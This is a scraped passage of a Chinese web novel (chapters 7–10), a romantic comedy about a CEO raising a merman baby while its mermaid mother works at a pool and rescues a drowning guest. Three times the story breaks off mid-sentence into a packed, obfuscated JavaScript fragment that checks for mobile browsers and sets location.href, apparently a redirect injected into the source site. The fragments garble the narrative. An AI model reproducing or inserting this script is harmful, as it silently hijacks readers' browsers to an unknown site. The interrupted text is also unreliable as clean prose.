于是总裁办公室里,就变成了姿音陪着鱼崽在爬爬垫上玩耍,宫砚得空抓紧时间办公的和谐场面。 鱼崽把自己好玩的全拿出来给妈咪玩,点点图画书,再点点姿音:“咪~” 姿音搂着鱼崽,教崽认识上面的东西:“这个是小车。这个是大楼。” 图画书玩腻了,鱼崽玩钓鱼游戏,鱼钩上的吸铁石吸住玩具小鱼的嘴巴,叮一个,叮一个。 玩了一会儿,鱼崽突然把鱼钩放到姿音手里,从姿音怀里爬远两步,张大了嘴巴。 姿音觉得好笑,可害怕打扰到宫砚,就弯着眼睛小声地笑,用迷你小鱼钩碰碰崽的脑袋和鼻子。 宫砚听到旁边细细碎碎的动静,居然从未有过的心安,工作效率翻倍。 到了下班的点,两人伸出探究的目光,在鱼崽的脸上扫扫。 鱼崽一边堆积木,一边奶声奶气唱:“咪~叭~咪~叭~” 姿音叹一口气。 宫砚:嘻。 姿音问宫砚:“你先来我家待一会儿,可以吗?”因为今天已经麻烦过宫砚了,姿音有点不好意思,补充说:“……我给你做饭吃。” 然后那双晶莹明亮的眼睛,恳求地看着宫砚。 眨眼睛,又撒娇? 这人的小伎俩还真不少。 宫砚觉得自己完全没有被这个人诱惑到,义正严词道:“晚上我得陪着崽睡觉,现在崽不让你走,这也是没办法的事。”顺理成章地跟到了姿音家里。 房子的户型狭小,还见不到太阳,宫砚眉峰微微蹙起。 姿音回到家,倒是挺开心的,抱着崽崽一间间参观新房子,等全部看一遍了,把鱼崽往宫砚怀里一放。 “我去做饭啦。” 宫砚抱着鱼崽崽坐在餐桌前,视线稍微一偏,就能看到厨房里那道纤长柔软的身影,围裙系绳打了个结在背后,勒出一把柳枝似的细腰。 宫砚默默移开眼,听着厨房里叮铃咣当的响动,心想,还挺能干的。 二十分钟后,能干的姿音端上来三碗肉糊糊。 宫砚:“……?” 这是人类能吃的东西吗? 宫砚瞪着碗里蒸熟的、简陋的肉糜,希望能从中找到什么门道。 可就这么简单得一览无余。 鸡肉捣碎,蒸熟,就这么朴实无华。 宫砚一抬眼,姿音已经勺了一口吃进去,眼睛眯起,脸上露出很幸福的表情。 再一低头,崽崽边流口水,边拽着自己衣服:“吃!” 宫砚:你俩迄今为止过的到底是什么苦日子!!! 宫砚打开手机,拨通一个电话,十五分钟后,豪华餐车推进门,将大饭店现做的热腾腾的经典菜品一道道放到桌上。 穷乡僻壤海底来的小鱼姿音和崽,从来没见过这种场面,眼睛都睁得圆圆的。 宫砚觉得可爱,忍不住唇角勾了勾,把餐具放到姿音面前,自己喂鱼崽吃婴儿套餐。 一顿饱食,姿音吃得小肚子圆润,有点像最初怀鱼崽的时候了。 宫砚张罗着外送人员收拾盘子,姿音抱着同样吃得小肚圆圆的胖崽去浴室。 关上门,一大一小,享受地躺进灌满水的浴缸里。 “崽崽,现在可以变出尾巴了。”姿音挠了挠胖崽的小脚丫。 崽崽惊喜地拍小手,下一瞬,自圆鼓鼓的小肚子往下,淡蓝色鱼尾缓缓覆盖了两条白生生的小胖腿。 biu~biu~ 鱼崽小尾巴轻轻摆了摆,乐得嘎嘎笑:“咪!”崽崽拍拍姿音的腿。 更大更亮的一条粉蓝鱼尾出现,波光流动,将浴缸里的水映照得蔚蓝梦幻,仿佛置身海底世界。 “亮亮!”鱼崽指着妈咪的尾巴说,姿音用细细的尾巴尖挠了挠小崽的小身体,小崽痒痒,边嘎嘎笑边像麻花似的扭来扭去。 两条小鱼沉迷玩水,宫砚在外头,就听到浴室里面时不时传来鱼崽嘎嘎的笑,姿音温柔的声音。 这么好玩? 宫砚心里有点酸。拿了个扫把,把客厅和厨房扫了一遍后,浴室里的两只还没出来。 而且没什么大动静了。 宫砚不由得有点担心,靠了过去。 浴室里,小鱼崽的蓝色尾巴泡了会儿水,尾巴尖那块渐渐有点不同。 姿音把鱼崽抱起来,仔细观察一番。 “崽崽,你的尾巴变亮啦!” 小鱼崽连忙去扒拉自己的小尾巴,黑眼睛亮灿灿:“哇——亮!” 其实只是尾巴尖尖亮了一丝,但姿音清楚,这是人鱼幼崽发育成长的表现。 仅仅和宫砚相处几天,崽崽的尾巴就开始变亮,还会蹦两个字了,姿音激动地说:“爸爸真好用!” 鱼崽学舌:“叭!用!” 宫砚在浴室门外,就模模糊糊听到里面在说自己,顿时紧张起来。 可他又不能真的趴门上偷听,燥得拿着扫把在走廊上晃来晃去。 终于,浴室的门开了,姿音抱着鱼崽崽走出来。 宫砚停住脚步,整个人僵立原地。 姿音是围着浴巾出来的,白色浴巾从胸前裹一圈垂下,乌黑湿亮的发尖水珠滴落,从纤细修长的脖颈,滑到洁白的锁骨窝里,再缓慢地滑落浴巾里。 热气蒸得他肌肤泛粉,香气氤氲,一切都朦朦胧胧又清楚。 宫砚头上炸开一朵蘑菇云,像个毛头小子一样,第一反应直接转过身去。 姿音却径直走到他跟前,他比宫砚小了整整两圈,可又很匀称高挑,怀里是用浴巾裹成了芝麻汤圆,脸蛋红红的鱼崽崽。 宫砚脑袋里轰热,视线乱飘:“……咳,你们在里面说什么呢?洗这么久。 姿音笑眼弯弯,把崽崽的小手从浴巾团里掏出来,举着爪爪晃了晃。 “说崽崽喜欢爸爸,爸爸真好呐,是不是?” 姿音跟鱼崽崽讲话的时候,声线也会高一些,软软的,拉长的,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956540|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 融化了的糖稀一样。 宫砚面红耳赤。 晚上,宫砚没能走掉。 鱼崽睡在爸爸妈咪中间,一会儿翻到姿音面前,跟他蹭蹭鼻尖,一会儿翻到宫砚面前,揪揪爸爸的脸,玩了好一会儿,才困倦地闭上眼睛。 姿音看到自己的胖崽一点不闹,也不半夜三更吵着爬起来玩,就这么乖乖睡觉了,简直感动得要流下泪来。 呜呜。 轻舟已过万重山! 崽崽睡了,姿音从枕头底下抽出一百块钱,小声地说:“你做得很好,给你这个月的保姆费。” 宫砚:“……嗯。”把一张红钞票收起来。 关了灯,姿音的眼睛还是很亮,仿佛两颗星星,开心地带了满满的笑意。 “崽崽长大了一点,你发现了吗?”姿音轻声说。 宫砚有种跟他讲悄悄话的错觉:“是大了一点。”想起母亲的问话,宫砚压低声音问:“小崽多大了?” “半岁。” 长睫毛遮住了姿音半边眼睛:“唉,崽崽长得太慢了。不过现在在你身边,就能恢复正常了。” 宫砚没懂,待要再问,就看到姿音眼皮浅浅阖上,唇珠微微翘起一点,还嘟哝着说:“下个月,下下个月,你也带着我们的鱼崽崽吧,我要回……” 第二天,宫砚照旧带着鱼崽去公司。 经过昨天的相处,他心中的怀疑更深。鱼崽和姿音之间那种亲昵感,还有姿音对自己的信赖,都不是假的。 也不止一个人说鱼崽和他长得像。 嘶……难不成,自己真是这个小家庭的编外人员? 不是,疯了? 疯了咋滴?万一呢? 这件事很好验证,宫砚盯住爬爬垫上的鱼崽。 鱼崽察觉到老爹的目光:“呜?” 宫砚把崽崽抱起来,目光在崽的栗子圆脑壳上逡巡。小崽的头发跟姿音一样,乌黑柔软,蓬松浓密。 抱歉了,崽,中午给你加餐。 宫砚捏住鱼崽最长的一根头发,闭眼,从中间揪断! 嗯?没断。 没捏紧吗? 宫砚换上两只手,两根手指捏住发根,两只手指捏住发尾,只要轻轻一撇…… 嗯?揪不断? 小家伙发质可以啊。 宫砚找来一把小剪刀,鱼崽玩玩具小鱼玩得很专心,一动不动,宫砚揪住崽的一根头发,剪下去。 不锈钢刀刃应声碎裂,掉在地板上,喀啦两声。 宫砚:??? 宫砚感觉有点中邪,捧住小崽的脸瞅了瞅,没问题,完全就是正常人类幼崽的样子。 他站起来去卫生间洗了把脸,把上次在母婴店买的婴儿指甲剪翻出来。 鱼崽的指头圆乎乎的,像十根胡萝卜,指甲只冒出一点白茬。 宫砚找了找,决定在稍长的拇指指甲上剪掉一点点。 “不要动。”宫砚哄鱼崽崽说,“乖乖的,等一下就好了。” “叭!”鱼崽能听懂简单的话,以为爸爸跟自己玩,果真伸出小胖爪,一动不动。 小小的咔嚓一声,宫砚按下指甲剪,丁点大的指甲掉在了他的掌心里。 宫砚擦一把汗,欣慰极了,揉揉鱼崽的脑袋。 下一秒,手心的指甲化成几个小小的泡泡,火速蒸发似的消失了。 宫砚:“………………………………” 不? 怎么个事儿? 8. 第 8 章 宫砚揪了根自己头发,又剪去自己拇指指甲的一角,在手心里翻来覆去地看。 没有蒸发,也没有变成泡沫。 宫砚:…… 宫砚目光深沉地瞅着怀里乖乖玩耍的鱼崽,深深地开始怀疑人生。 这时候,办公室的门被猛地推开。 “宝贝鱼崽!”宫妈欣喜地喊,宫爸跟在后头,拎着满满当当的婴幼儿大牌用品食品。 宫妈从宫砚手里一把掳过鱼崽,搂在怀里左右看,仔仔细细确定自己的宝贝孙子没有在宫砚这里受到亏待,才展露笑容,命令宫爸把给崽崽买的东西,一样样拿出来给鱼崽玩。 “呐!耶!”鱼崽高兴地用小爪拍拍爬爬垫,欢迎爷爷奶奶。 二老陪鱼崽玩了一会儿,发觉宫砚怎么悄无声息地,扭过头去瞧。 只见宫砚仍保持着他们来时的姿势,坐在办公桌后,一动不动,视线半垂,仿佛入了定的僧人一般。 宫爸:“公司要倒闭了?” 宫砚淡淡投过来一眼:“更严重。” 宫爸严肃起来,认真问道:“到底怎么了?” 宫砚:“物理学不存在了。” 宫爸:“?” 桌上的电话响了,宫砚接起来,秘书说:“萧先生来了,他说有大事找您。” 萧历,宫砚多年老友,宫砚说:“跟他说我现在下去。”小崽托爸妈照顾一会儿,宫砚拿上外套下楼,在写字楼下的咖啡厅里和萧历碰面。 萧历同样是富家子弟,一见到宫砚,吹胡子瞪眼,咋咋呼呼地问:“怎么回事?到底怎么回事?我妈最近跟阿姨一起去逛街,每次回来都打电话狂骂我俩小时,我问到底咋了,她支支吾吾不肯说清楚,一个劲儿说我没出息。” “我左思右想,她俩平日里没事就一块骂自家儿子,怎么突然就我一个人没出息了?” “这事儿肯定跟你有关!”萧历断然道。 原来这就是他嘴里的大事。 宫砚斜他一眼,拿过桌上的咖啡吞了半杯下肚。萧历急得上火:“你是不是有情况了?不对……你是不是有对象了?阿姨跟我妈一说,一对比,我妈这才急了。” “没对象。”宫砚说,脑子里却不由自主浮出一个纤细的身形。 萧历喝一口咖啡,点点头:“也是,你个加班狂怎么会有对象。”说到这个,一下乐了,讥讽地挤挤眼。 “一朝被蛇咬,十年怕井绳。自从去年宴会上被人下了药,宫总您能拒的宴会就拒,不能拒的自带保温杯哈哈哈哈哈哈,就你这样的,这辈子只能孤独终老了哈哈哈哈……” 笑了一会儿,宫砚没搭理他,萧历也觉得没意思,回归正题:“那还能是什么事呢?……难道送了什么东西给二老?瞧把他们哄得高兴的,连我妈都眼热了。快说,你是不是拍到了什么好东西?明天我也整一个去。” 宫砚淡淡接道:“孙子。” 萧历一口咖啡喷了出来,瞠目结舌:“哈?……孙子?你儿子?你吗?你?!” 宫砚省去前因,只说抱了个小崽给二老。 萧历擦擦嘴,沉思半晌,竖起拇指:“高!实在是高!”停了下,问宫砚:“那小崽能不能借我用用?我也献宝似的给我家那二位瞧瞧,以后他们就能少啰嗦我一点。” 宫砚拒绝,目光缓缓上移。 萧历没当回事,心里还在琢磨着这招的可用性,看到宫砚盯着自己的头发,挺高兴把头发往后一捋:“茂密不?新植的,杠杠黑,杠杠亮。” 宫砚处于失神状态,手一伸,薅了一把下来。 萧历:“嗷!!!!!!” 没有变成泡沫。宫砚蹙眉,拍拍手,一小撮头发徐徐往垃圾桶飘去。萧历劈头盖脸去抓,抓住了,往自己头上一按,大叫起来。 “我的发!不准你们死!!给我长上去!!!” 宫砚皱眉:“几根头发,别哭天抢地的。” 萧历:“天杀的!我跟你们这些头发天生浓密的拼了!” 在楼下待的时候不短了,宫砚有点担心小崽会找自己,就准备离开。刚走两步,忽然想起什么。 “你家里是不是有个挺大的鱼缸?” 萧历在为自己的头发举行默哀仪式,手中画了个十字:“有啊,找认识的师傅定制的。” 宫砚说:“帮我也定制一个,家里的小崽喜欢看鱼。” 萧历奇道:“嚯!你还真变成奶爸了?”他还没见过宫砚照顾小崽的场面,如果见了,可能会怀疑老友被鬼上了身。 宫家二老晚上还有宴会要参加,宫砚回到办公室,他们就准备走了。 “唉,小鱼崽,”宫妈抱着鱼崽,满眼不舍,“奶奶真想把你偷走。” 宫爸在一旁附和:“爷爷也是。” 宫砚:“……” 没有这么正大光明说的! 鱼崽突然指指玻璃窗,甜甜地叫:“咪!”原来落地窗对面的商场大荧幕上,正播放一段海洋动画,3D效果,活灵活现。 宫妈疑惑道:“咪?”联想到什么,视线直直射向宫砚。宫砚假意咳一声,“学叨来咪呢。” 宫妈才不信,换上和蔼的表情,问鱼崽:“宝宝是不是喊妈妈?” 鱼崽最喜欢妈咪了,拍手手:“咪!爱~” 宫妈继续诱哄:“宝宝最聪明了,宝宝的妈咪在哪里?”鱼崽眨了眨铜铃大眼,指着门外。宫妈顿时火冒三丈,把鱼崽交给宫爸,将宫砚扯到一边。 “所以你跟小鱼的妈妈是有联系,没错吧?宝宝这么小,还这么依赖妈妈,你忍心让他们分开?你是铁石心肠啊!” 宫砚心道,早上还在见面呢。 宫妈见他不说话,心中有了一番猜测:“他是身份不好?还是经历不好?所以你藏着,担心我们不认同?” 宫砚觑着宫妈。 宫妈以为猜中了,决然道:“我把话放这儿,就算他不是人,只要你带回来,我们也认这个儿媳妇!” 宫砚情不自禁问道:“真的?” 宫妈一言九鼎:“你只管带回来。”宫砚了然地点头。 话都说到这份上了,那孩子也需要接受的时间,宫妈不再多说,领着宫爸就离开了。 到了下班的点,宫砚抱着鱼崽,脚步雀跃地朝楼上去。电梯里,宫砚捏捏鱼崽的脸,语重心长地暗示。 “崽,今晚也像昨天一样。”把小鱼崽的手指抓到自己领带上,另一只受抓着空气,模仿那是姿音。 有点深奥,鱼崽睁大眼睛吐泡泡:“。” 宫砚试图跟崽解释,唱道:“咪~叭~咪~叭~” 鱼崽:“。。” 宫砚:“世上只有妈咪好,没咪的小鱼像根草~” 鱼崽:“。。。” * 今天下午,姿音负责的两个区域都没客人,比较清闲,所以跟着馆里的教练们参加了视频培训课。 课程结束,教练们勾肩搭背,一个随意地说:“就这个50米,一个来回,我前两天刚测的1分10秒。” 另一个教练拍拍他肌肉隆起的手臂:“这么猛?你这快赶上人家二级运动员了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956541|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 又一个教练笑说:“别听他装,其实天天背着我们偷偷加练,鸡贼得很。” 姿音收拾桌上的东西,几个教练不好意思直接走掉,弯着腰把喝掉的水瓶丢到垃圾桶里。他们只知道这个服务生是新来的,负责VIP区域,还没机会说上话。 这人眉清目秀,看着纤细柔弱的,跟他们这些大老粗不一样,所以教练们有点不太敢跟姿音讲话,总有种会唐突了佳人的担忧。 倒是姿音察觉到他们的目光,笑道:“我来收拾就可以了。”他原本就是服务生。 他声线柔和,语调像是泛着淡淡涟漪、晒过暖阳的湖面,包容得没有一点攻击性。 几个五大三粗的教练顿时不好意思了,连连地说:“谢谢,谢谢。”都是同事,不说两句话直接走掉显得很失礼,一个教练踌躇一下,搭话说:“小音,你也会游泳吧?” 姿音点头,来这里工作,肯定是要会游泳的。 教练说:“哈哈,我们几个刚才讨论成绩呢,不知道你有没有测过?” 姿音倒没有刻意掐表测试过,也没这个必要。他摇摇头。 教练继续尬聊:“那你觉得50米那个池子,大概要游多久?”几个人毕竟是专业教练,说这个也有点想炫耀的意思。 姿音想了想:“两秒吧。” 众人:“……” “哈哈哈哈哈哈你真会开玩笑。”教练们齐齐笑起来,气氛一下活跃了。后面又聊了几句,大家很开心地回到各自的工作区域。 姿音测过水质,按工作流程记录下来,手腕上的电子表忽然提示有客人进入。 他负责的两个区域,一是宫砚,另外一位,今天第一次出现。姿音脚步挪动,正要去迎这位客人,又蓦然停住。 经理跟他说过,这位姓江的客人性格比较暴躁,除非主动开口,否则服务生不要去招惹。 想到这里,姿音转回角落里,尽量隐藏住自己的身影。 江溪按着太阳穴,一脸不悦地走到休息室里,换过泳衣,他大步来到池边,噗通跳了进去。 江溪是富家的小公子,事事顺心,只是常年偏头疼,因而脸上总露出不耐烦的神情,好像很高傲似的,其实只是在忍受脑袋里一抽一抽的痛。 游泳也是听从医生建议,适当锻炼,最后试了各种运动,发现可能因为水温水压刺激了神经,放松肌肉,游泳的效果最好,能稍稍缓和一二。 可毕竟只是缓解。 像今天,发泄似的游了两个来回,脑袋里还是仿佛有人拉弦似的,噌噌地响。 没什么用,江溪打算上岸。可就在这时,头痛忽然加剧,他耳中嗡鸣一声,疼得脊背冒汗,手脚登时发软。 “噗!”江溪站不直,身体直往池底坠,下意识扑腾起来。 他是不喜欢别人出现在自己的视野范围内的,看着烦,头疼,让经理把人都打发走。往日来游泳,他也的确没见到什么人。 可这时,偌大的泳池只有他一人,江溪开始后悔。 他知道这里应该有监控,可不能保证时时有人盯着。 脑中念头飞旋,可在现实中只过了一两秒而已。意识到自己可能会溺水的下一瞬,江溪扬起脖子开始喊人。 然而没等他喊出声,嗖一声,他整个人就被一股巨力举了起来。 速度太快,以至于江溪酸软的手脚,还下意识在空气中胡乱扑腾了好久。 嘴里也在喊着:“救命啊,溺水啦!救命啊!有没有人啊!” 咦? 江溪摸摸四周的空气,眨了眨眼睛。 9. 第 9 章 “别害怕。” 江溪耳畔传来一声安慰,明明轻悠悠的,却带着莫大的安心的力量。江溪挣扎扑腾的四肢一下放松下来。 姿音将江溪轻轻放到岸边,跳上案,拿过一条浴巾披在他身上。 “你还好吗?”姿音蹲在江溪身边,发梢还滴着水,雾蒙蒙的眼睛中满是担忧。江溪因为突遭意外,眼圈红着,表情愣怔怔的,像幼崽一样格外脆弱,姿音忍不住抬手,在他脑袋上拍了拍。 平日里谁敢摸他的头,江溪早一巴掌打开了,但被姿音这么一摸,居然像被顺毛撸了一把,说不出的舒坦。江溪瞅瞅姿音,说:“还好,就是吓到了,心跳得有点厉害。” 这时,意识到发生意外的馆内人员一股脑全冲了过来,围在江溪身边嘘寒问暖,江溪又不耐烦起来,摆手说:“走开走开。” 但握住姿音的手腕:“你留下来。” 姿音本来就是这里的服务生,其他人对他投以信任的眼神,一一走开了。 “喝点热茶吧,这是我们自己煮的枸杞茶。”姿音将热腾腾的枸杞茶给江溪,江溪喝下半杯,感觉身上的力气慢慢恢复。 “谢谢,”江溪手脚也找到知觉了,回想一下,这人从入水,到把自己小鸡仔似的拎上岸,只不过眨眼功夫,不禁好奇问。 “你刚刚是从哪儿下来的?我刚来的时候怎么没看到你?” 姿音指指对岸那个角落,笑道:“我刚刚在那里,面壁思过,假装自己不存在哈哈。” 他和江溪年纪差不多,小,一笑,苹果肌微微鼓起,脸颊还存有稚气的曲线。江溪瞅着他指的那个方向,几乎跟自己的泳道是对角线了,这么远! “那你怎么过来这么快?”从岸上跑过来,再跳下来,也没那么快。 姿音有点骄傲地抬了下鼻尖:“我游泳很快的,没人比得过我。” 方才听到江溪在泳池里的动静,他第一时间跳下水,因为急着救人,双腿瞬间幻化成人鱼尾,一个摆尾,就冲到了江溪身边。 “不是你我就惨了。”江溪说,“你叫什么名字?” “姿音。” 江溪说:“我叫江溪。……你救了我,而且听你说话,我的头就不怎么疼了。我们以后就是朋友了,行吗?” 除了雷霆,在陆地上,姿音还没什么朋友,听到这两个字,不由得像只小动物一样歪了歪脑袋,眼睛亮亮地,闪着某种期待而惊喜的光芒。 “好啊,朋友。”姿音唇角弯弯,伸出手,跟江溪握了握。 这是我的陆地朋友,真好呐,他很高兴地想。 江溪。 江……溪? 姿音神情一僵,这个名字! 他对系统所说的霸总小说知之甚少,但两个主角的名字还是知道的,江溪正是另一位主角的名字。 系统的意思,江溪和宫砚应该是一对? 姿音面上愕然片刻,而后,一股不安和愧疚在心中滋生。 既然江溪和宫砚是一对,那他把小崽送给宫砚养,这个行为不太好,会影响朋友的感情。可崽崽也不能离开宫砚,姿音觉得自己应该解释清楚。 他心里没什么弯弯绕绕,坦诚地对江溪讲了。 “崽崽他现在需要宫砚,等崽崽再大一点,我就把他带走了。” 江溪听得嘴巴半张,懵懵地问:“你已经有孩子了?你还这么小。”姿音点头,警惕地观察他的表情:“半岁,小小一个团子。” 江溪也点头,觉得挺好的。就是没明白姿音讲这个跟自己有什么关系。 唠家常? 直到去休息室换了衣服,又吹干头发,江溪才记起来“宫砚”这个名字。 “你好像误会了,”姿音在整理毛巾,江溪走过去说,“我跟宫砚没什么关系。充其量也就见过一面。” 还是在两边家长的撮合阴谋下,勉强坐在饭桌上打个招呼。 江溪听了解释后,一直默默地,这让姿音有点提心吊胆,一边叠毛巾,一边偷瞧他。 这时闻言顿了顿,问:“你们不是一对吗?” 江溪:“哈?谁看得上那个冷脸男。” 由于宫砚一朝被蛇咬,十年怕井绳,宴会揣保温杯,严防死守贞操的警惕态度,他完美杜绝了后续所有的桃花,包括小说主角受江溪。 姿音惊喜道:“太好了,那我们还是好朋友。” 江溪:“当然。” 姿音:“那我们要那个吗?” 江溪:“哪个?” 姿音把手机拿出来,期待又神秘地朝江溪眨眨眼睛:“交换电话号码。” 江溪:“。” 两人存了对方的号码。江溪义气地说:“碰上问题,尽管来找我。” 宫砚抱着鱼崽进到馆里,就看到姿音眼睛亮亮地看着手机屏幕。 看什么呢……这么高兴。 宫砚没意识到自己又悄悄地酸了。 “崽崽。”姿音跑过来,把鱼崽接到怀里,亲亲鱼崽的小鼻尖。宫砚表现得像是来接老婆下班的熟练工,把姿音的布袋一拎,“走吧。” 大楼下,姿音把崽崽放到宫砚的手上,又把布袋挎到自己臂弯里。 宫砚:? 宫砚冲怀里的崽挤眉弄眼:崽,你说句话啊。 鱼崽:“。。。” 宫砚:“咳,今天去我家吧。” 姿音把鱼崽的小衣领整了整:“为什么?我有自己的家呀。” 宫砚想起他那窄小的房子,简陋的肉糊晚餐,没来由得一阵难受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956542|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他挠挠鱼崽的手指,暗戳戳往姿音的衣服上伸。 结果鱼崽当场拒演,攥着宫砚的手指,咧开嘴傻兮兮地朝宫砚憨笑。 宫砚眼看着姿音揉揉鱼崽的脑袋,马上就要转身走了,急道:“万一崽崽夜里哭了,找你,怎么办?” 姿音知道崽崽是很乖的,“不会啊,崽崽夜里睡在你身边,很乖的。” 傻崽是派不上用场了,宫砚胡言乱语:“你知不知道,雇主……雇主应该到保姆家里视察一下工作,这样才是对孩子负责。” 这句话还真把姿音这条九漏鱼唬住了,雷霆跟他说过要好好扮演人类。 姿音若有其事地点头赞同:“没错,是这样的,我当然知道。”说着就调头走到了宫砚身边。 宫砚很努力才压下嘴角,啧,这么单纯。 万一给别人拐走怎么办? 宫砚忍不住又唠叨:“除了我,不能轻易相信别人。” 宫砚最近的一所房子在富人高档小区,三层的独栋小洋房。 “当自己家。”宫砚假装很随意地说,姿音朝他投来奇怪的目光,他假装没看到。 叫了大餐,吃过晚饭后,宫砚陪着鱼崽玩玩具,姿音去洗澡。等姿音从浴室里出来,宫砚装作去浴室找东西的样子,关上门,蹲在浴缸附近仔细搜寻。 他想找一找姿音掉落的头发。 凭借他2.0的视力,二十分钟,什么也没搜到。倒是浴室里弥漫着姿音身上那股幽幽的迷境似的香气,熏得宫砚脖子都红了。 从浴室出来,他瞄到姿音在擦头发,计从心来。 宫砚拿着吹风机过去:“我帮你吹头发?”姿音没用过这个东西,他都是用毛巾擦干,然后像小狗一样旋涡甩甩就可以了。 姿音想试一下这个新鲜东西,于是很乖地坐在床边。 嗡—— 宫砚一开始只是远距离地吹,慢慢地,指尖揉搓乌黑柔软的发梢。 很香……宫砚知道,会有更香的时候,掺着细小的汗珠,甜腻的,蛛丝细线似的缠绵声音…… 忍不住,又靠近一些……直到把姿音几乎环在怀里了。 “嘶。” 宫砚神游天外,热风近距离吹到手背上,霎时红了一片。 “怎么了?”姿音听到动静,连忙起身。他握住宫砚的手掌查看,“烫着了。” 姿音拉着宫砚的手,放到水龙头下面,一边冲,一边轻轻用指腹轻轻地揉。透明的水,流过葱白指头,流经细长手指,最后从洁白的手腕处淋下。 红色很快消了下去。 “还疼吗?”姿音抬起眼睫。 宫砚下颌和嘴唇线条紧紧绷着,被姿音拉着一只手,一张英挺的脸略微低垂,完全变成了被烫伤的颜色。 10. 第 10 章 姿音一愣,下意识问:“你的脸……”也烫到了吗? 后面的话戛然而止。 因为姿音忽然明白过来,自己还捏着宫砚的手,这恐怕就是宫砚脸红的原因了。 烫手山芋一般,姿音慌忙将自己的手从宫砚的大掌里抽出来:“对、对不起。” “嗯……” 宫砚抿着嘴巴,低低应了一声,“……头发干了吗?” 姿音伸手摸了摸,还有一点湿,他像小狗一样甩甩脑袋,宫砚从鼻腔中轻笑一声。 “叭?”一只小鱼崽爬到宫砚的脚边,打破了有点尴尬僵硬的气氛,宫砚赶紧把小家伙抱起来,带去爬爬垫上玩。 晚上,鱼崽幸福地跟爸爸妈咪一起睡觉。 他啃啃妈咪香香的脸蛋,啃啃爸爸硬硬的鼻子,再把小萝卜指头塞进嘴巴里,咬得咕叽咕叽响。 姿音觉得不太对劲,把崽崽的手指拔出来,轻轻掰开小嘴巴。 “崽崽,你长牙啦!” “呀?”崽崽圆圆眼睛很无辜,宫砚凑过去看,小米粒一丁点,哼笑道:“小狗牙。” 姿音在崽崽嫩白的脸上亲了好几口,激动地说:“太厉害了,我的宝贝崽崽!” 鱼崽听到妈咪夸夸,骄傲地喊:“哈!鱼鱼!”姿音把小鱼崽塞进宫砚的怀里,监督宫砚两只手都搂着鱼崽睡觉。 姿音美滋滋地想,宫砚的信息素真是太好用了! 崽崽睡得好不说,发育速度也赶了上来。 照这个成长速度,说不定等他下次从海里回来,就可以把崽崽接回海底喽。 宫砚完全不知道姿音心里在想什么,他不死心,还想揪一根姿音的头发。 方才就是打算吹头发时,偷偷揪断一点,结果发生了点小插曲。 有了爸爸信息素的安抚,鱼崽入睡很快,长长蜷曲的睫毛覆盖眼下。 宫砚把鱼崽的手指从嘴里拿出来,放在身侧。 这时,肩头一暖,一个柔软细腻的触感贴了上来。 姿音睡着了,和鱼崽如出一辙的长长卷翘的睫毛,静谧乖巧地垂下。 宫砚是鱼崽的亲生父亲,鱼崽天然需要他的信息素,而姿音,作为鱼崽的妈妈,其实也对宫砚的气味有点生理性依赖,因此睡着了,脑袋就朦朦胧胧凑了过来,将脸颊轻轻压在宫砚肩头。 宫砚心中泛起一圈圈温柔的涟漪。曲起手指,想要蹭一下那漂亮的睫毛。 动作却又忽地停下,硬挺的眉峰皱了起来。 没人勾引,怎么自己倒上起当来了! 那手指转了个方向,拢在了姿音的头顶。姿音的头发比鱼崽长多了,乌黑细软,看上去非常好揪。 宫砚指腹捏住两端,打算从中间撇断。 断不了一点。 坚韧如铁。 宫砚指腹上勒出两道深痕。 宫砚:“……哈哈。” 行。 等下次,他找个借口给姿音剪指甲,看是不是也会像鱼崽一样变成泡沫。 接下来几日,宫砚没找到新的理由把姿音诓骗到家里来。他夜里搂着小鱼崽睡觉,鱼崽总是睡得很熟很沉,基本一动不动,更别说哭闹着找妈咪了。 其实他也不是非想要把那个人带回家,只是姿音一下班,走到楼下没多久,他们就会分开。 一天,也就见这一小会儿而已。 宫砚心里涌动着莫名的情绪,自己也搞不清楚,像青春期的小伙子一样躁动不安,每天下午五点就开始频繁抬腕看表。 加班? 工作狂? 咔嚓,碎裂的两个标签。 不仅秘书和近总裁办公室的员工,就连公司大门保安都后知后觉地察觉到了这一点。 每到五点三十分,他们宫总怀里抱着个奶娃娃,昂首阔步,准时大步流星地迈出公司。 别人可能不清楚,但保安是最知道的,往日,一周七天,宫总六天都要留到关灯拉门,剩下一天直接通宵睡办公室。 保安笑眯眯地瞧着脚步轻快的宫总。 这有了家庭就是不一样啊。 这天,鱼崽骑着爸爸,去楼上游泳馆找妈咪。 姿音和雷霆在大厅的小桌前坐着,一人一杯枸杞茶。 姿音掰着指头算时间:“下周发工资,我拿到钱工资,交给崽崽爸爸,就回海里了。” 雷霆像个老大哥一样点头:“行,别的事你不用操心,交给我了。小侄儿我也帮你看着。” 